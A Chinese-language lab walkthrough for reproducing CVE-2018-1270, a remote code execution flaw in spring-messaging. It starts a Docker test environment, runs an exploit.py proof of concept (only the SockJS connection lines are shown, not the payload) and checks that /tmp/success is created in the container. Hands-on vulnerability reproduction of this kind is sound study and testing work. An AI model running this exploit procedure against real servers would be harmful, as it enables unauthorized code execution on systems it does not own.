spring-messaging远程代码执行漏洞预警（CVE-2018-1270）

漏洞环境

执行如下命令启动漏洞环境：

```
docker compose up -d
```

环境启动后，访问 `http://your-ip:8080` 即可看到一个Web页面。

漏洞复现

1.修改exploit.py中的ip。

```
# 创建SockJS客户端并启动线程
sockjs = SockJS("http://your-ip:8080/gs-guide-websocket")
sockjs.start()
time.sleep(1)
```

2.用python3执行POC脚本 `exploit.py` 。

执行：

```
C:\Users\huhao>python E:\Desktop\exploit.py
INFO:root:发送 'connect' 数据成功。
INFO:root:发送 'subscribe' 数据成功。
INFO:root:发送 'send' 数据成功。

C:\Users\huhao>
```

3.进入容器 `docker compose exec spring bash` ，可见 `/tmp/success` 已成功创建：

```
Windows PowerShell
Windows PowerShell
版权所有 (C)  Microsoft Corporation。保留所有权利。

安装最新的 PowerShell，了解新功能和改进！ https://aka.ms/PSWindows

PS E:\Desktop\CVE-2018-1270> docker compose exec spring bash
time="2024-07-21T15:43:21+08:00" level=warning msg="E:\\Desktop\\CVE-2018-1270\\docker-compose.yml: `version` is obsolete"
root@f88472ec3123:/# cd /tmp
root@f88472ec3123:/tmp# ls
hsperfdata_root                          tomcat.2855620193119381621.8080
tomcat-docbase.9149987113858522675.8080  tomcat.6805673966215669131.8080
root@f88472ec3123:/tmp# ls
hsperfdata_root                          tomcat.2855620193119381621.8080
tomcat-docbase.9149987113858522675.8080  tomcat.6805673966215669131.8080
root@f88472ec3123:/tmp# ls
hsperfdata_root  tomcat-docbase.9149987113858522675.8080  tomcat.6805673966215669131.8080
success          tomcat.2855620193119381621.8080
root@f88472ec3123:/tmp#
```